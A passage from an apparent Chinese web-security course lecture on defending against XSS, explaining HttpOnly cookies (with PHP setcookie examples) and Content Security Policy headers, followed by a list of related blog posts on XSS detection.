那我们应该如何根据不同的位置采取不同的 XSS 防御方案呢?我整理了一份表格(由于 DOM XSS 情况特殊,我会单独用一个小节来介绍)。

防御 DOM XSS

DOM XSS 是一种特殊的 XSS 类型,前面介绍的一些防御方法并不那么通用,需要根据输出位置做不同的防御方法。同样的,我整理了一份 DOM XSS 防御方案表格,供你参考。

Httponly Cookie

如果你在 Cookie 中设置了 HttpOnly 属性,那 JavaScript 脚本将无法读取到 Cookie,这样就能防止通过 XSS 窃取 Cookie,在一定程度上能够减少 XSS 的攻击范围。

用 EditThisCookie 插件看下拉勾网的 Cookie,可以发现其中 JSESSIONID 就开启 HttpOnly。

图 12:开启 HttpOnly Cookie

在 PHP 中,可以使用 setcookie 或 setrawcookie 的第 7 个参数来开启,将其设置为 TRUE 即可 HttpOnly:

setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);

Content Security Policy

内容安全策略(Content Security Policy,CSP)也是减少 XSS 攻击的一种方式 ,是浏览器提供一种防御机制。它采用的是白名单机制,告诉浏览器可以加载和执行哪些外部资源,这样就能防止被一些第三方恶意脚本注入执行。

开启 CSP 有两种方式:

(1)通过 HTTP 头信息的 Content-Security-Policy 的字段:

Content-Security-Policy: script-src 'self'; object-src 'none';style-src cdn.example.org third-party.org; child-src https:

(2)通过网页的<meta>标签设置:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

这里我对一些常用字段先做个解释:

![在这里插入图片描述](https://img-blog.csdnimg.cn/a97261388a2847ef8716551d0cd0a38b.png#pic_center)

常用指令值解释如下:

![在这里插入图片描述](https://img-blog.csdnimg.cn/038f77617621465c9e7c72fc52522ea3.png#pic_center)

之前有次测试,发现了一个 XSS 漏洞,但死活利用不成功,搞半天一直没找到原因,后来发现正是 CSP 限制了 JS 资源的加载执行。

我平时测试时喜欢使用 CSP Evaluator 插件查看网站的 CSP 设置情况。Gmail 的 CSP 设置情况如下图所示:

![在这里插入图片描述](https://img-blog.csdnimg.cn/f7a9279b7ed34679aa5881467eb59774.png#pic_center)

图 13:Gmail 的 CSP 设置

在实际测试 XSS 时,有时也需要注意下 CSP 情况,避免折腾半天也没找到 XSS 利用失败的原因。现在 Google 内部一直在大力推行 CSP,这确实是一种防御 XSS 攻击的有效办法。

总结

这一讲我介绍了黑盒测试和白盒测试这两种挖掘 XSS 漏洞的方法,并针对不同的 XSS 情况推荐了不同的防御方案,算是一份 XSS 漏洞修复方案指引。同时,我还介绍了一些在企业中经常用来防御 XSS 攻击的方法:HttpOnly 和 CSP。它们可以有效减少 XSS 攻击带来的危害,但不能单纯依靠它们来防御 XSS,关键还是要避免漏洞的发生。

如果你对 XSS 漏洞的防御方法还有任何疑问,欢迎留言讨论。下一讲,我将带领你踏上 SQL 注入的攻防之路。

网络安全课第二节 XSS漏洞检测防御相关推荐

  1. 基于网络爬虫的XSS漏洞检测技术

    1. 背景和意义 在早期的网站设计中,网页的存在形式都是静态的.静态的网页内容稳定,不会经常更新,但是在后期却不易维护.如果需要维护更新网页,则必须重新编辑HTML网页,因此当网站很庞大的时候,维护静 ...

  2. C语言基础第六课——第二节if语句(if-else格式、不带else的if结构)、借例题简述写代码流程、从键盘上输入三个整数,求出其中的最大数(打擂法、三目运算符、排序)、if语句的嵌套计算个人所得税

    C语言基础第六课--第二节 一.if语句概述 二.标准if-else格式 三.借例题简述写代码流程 四.不带else的if结构 五.例题:从键盘上输入三个整数,求出其中的最大数.(打擂法.三目运算符. ...

  3. 渗透测试-XSS漏洞检测

    防护绕过 关于XSS漏洞的基础理解,请访问另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/86005088. xss漏洞很容易被 ...

  4. 【工具分享 】分享一个jQuery多版本XSS漏洞检测工具

    0x00 前言 最近在搞一个 jQuery v2.1.4 DOM-XSS 漏洞的复现,在网上找了很多Payload都不能用,大多数Payload都只适用于 jQuery v1.x 版本的. 后来看到有 ...

  5. 第一课 第二节 集成开发环境

    1.IDE IDE--集成开发环境: 用于提供程序开发环境的应用程序,一般包括代码编辑器.编译器.调试器和图形用户界面工具.集成了代码编写功能.分析功能.编译功能.调试功能等一体化的开发软件服务套. ...

  6. Python-基础课-第二节-02-变量与常量

    不管是python语言还是其它语言,最终目的都是为了对数据进行处理.那么,这些数据存 储到哪里呢?实际上就是存储在变量与常量当中. 简而言之,变量与常量都是用来存储数据的容器.在创建的时候都会在内存中 ...

  7. Perl教程 第三课 第二节

    模式 锚位 1.^:标志字符串的开头 2.$:标志字符串结尾, eg:/ ^ \s* $ / 可以匹配空串 3./b:单词(\w+)锚位,匹配任何单词的收尾 4./B:非单词锚位,能匹配所有\b不能匹 ...

  8. 安全测试之xss漏洞的检测与防御

    整理了一些软件测试方面的资料.面试资料(接口自动化.web自动化.app自动化.性能安全.测试开发等),有需要的小伙伴可以文末加入我的学习交流qun,无套路自行领取~ 1.xss漏洞检测方法1:手动检 ...

  9. 网络安全课第五节 XXE 漏洞的检测与防御

    11 XXE 漏洞:XML 解析器的坑 上一讲我们介绍了 SSRF 漏洞,一种专门针对服务端的请求伪造攻击,常被用于攻击内网.在里面我介绍了 Burp Collaborator 用于专门测试无回显漏洞 ...

  10. 【网络安全】如何使用ppmap检测和利用XSS漏洞

    关于ppmap ppmap是一款基于Go开发的漏洞扫描器/漏洞利用工具,该工具能够通过在全局上下文中检查特定变量来扫描.检测和利用XSS漏洞.该工具目前只能利用已知Gadget(可能支持部分自定义开发 ...

最新文章

  1. 什么是Python?好学吗?
  2. 自行编译Vim for Windows,加入Python支持!
  3. 制作网站设计项目进度表让用户充分了解网站制作进程
  4. UpdatePanel 后台注册脚本失效
  5. Java项目目录结构与解析
  6. php实例类,php实例-对象与类
  7. Linux mkdir 命令创建多级目录
  8. 上去了server查所有表空间_oracle如何查看表空间
  9. 不相干进程之间传递文件描述符
  10. linux实现防止恶意扫描 PortSentry
  11. 游戏开发程序员求职面试指南
  12. java使用阿里邮箱发送邮件
  13. MongoDB学习笔记之索引(一)
  14. 汉诺塔游戏设计(C++控制台版)
  15. Scrum 项目 4.0-5.0-约教网站开发(一)
  16. android x86 最新手机,Android-x86 9.0-r2 稳定版发布:底层升级至Android 9.0
  17. facetune2 android,facetune2
  18. 美国在线黄页服务提供商YP控股拟竞购雅虎网络资产
  19. 浏览器HTTP_USER_AGENT汇总——Firefox、Chrome、IE9、IE8、IE7、IE6
  20. Python爬虫 金融股票数据

热门文章

  1. 谷歌浏览器如何安装插件-以octotree为例
  2. Java 经纬度计算两个点的之间的距离工具类
  3. ESP32-IDF开发实例-ADC电压采集
  4. 使用C++Test进行白盒测试
  5. LODOP打印控件简单示例
  6. 计算机一定要学五笔打字吗,学习五笔打字大概要多长时间
  7. Android音视频开发(一)音视频基础知识
  8. 批处理注释bat注释一行_注释和注释处理器入门指南
  9. DOS bat 的注释方法
  10. android 连接魅族调试,魅族 PRO6 开启USB调试模式